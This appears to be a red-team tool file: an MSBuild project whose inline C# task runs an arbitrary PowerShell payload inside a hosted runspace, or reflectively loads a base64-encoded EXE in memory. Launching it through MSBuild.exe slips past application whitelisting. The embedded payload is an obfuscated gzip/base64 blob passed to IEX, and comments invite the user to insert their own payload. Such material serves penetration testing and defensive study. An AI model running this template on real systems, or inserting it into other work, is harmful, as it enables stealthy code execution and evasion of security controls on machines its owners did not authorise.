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mgeeky-Penetration-Testing-.../red-teaming/msbuild-powershell-msgbox.xml

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3.0 KiB
XML

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Original Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
<!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee -->
<!-- To be launched like so: cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe task1.xml -->
<!-- Modified by Mariusz B. / mgeeky. -->
<Target Name="MyLittleInlineTaskName">
<MyLittleInlineTask />
</Target>
<UsingTask
TaskName="MyLittleInlineTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MyLittleInlineTask : Task, ITask {
public override bool Execute() {
// Is your payload a raw EXE file?
bool rawExeFile = false;
if(!rawExeFile) {
/*
* Specifies whether Powershell payload is Base64 encoded.
*/
bool payloadBase64Encoded = false;
/*
* Here insert your plain multi-line Powershell snippet
*/
string payload = @"
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
";
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
if (!payloadBase64Encoded) {
pipeline.Commands.AddScript(payload);
}
else {
string payload2 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(payload));
pipeline.Commands.AddScript(payload2);
}
pipeline.Invoke();
runspace.Close();
}
else {
/*
* Here must be placed Base64 encoded raw EXE / PE file.
*/
string payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA [...]";
byte[] decoded = System.Convert.FromBase64String(payload);
Assembly asm = Assembly.Load(decoded);
MethodInfo method = asm.EntryPoint;
object ob = asm.CreateInstance(method.Name);
method.Invoke(ob, null);
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>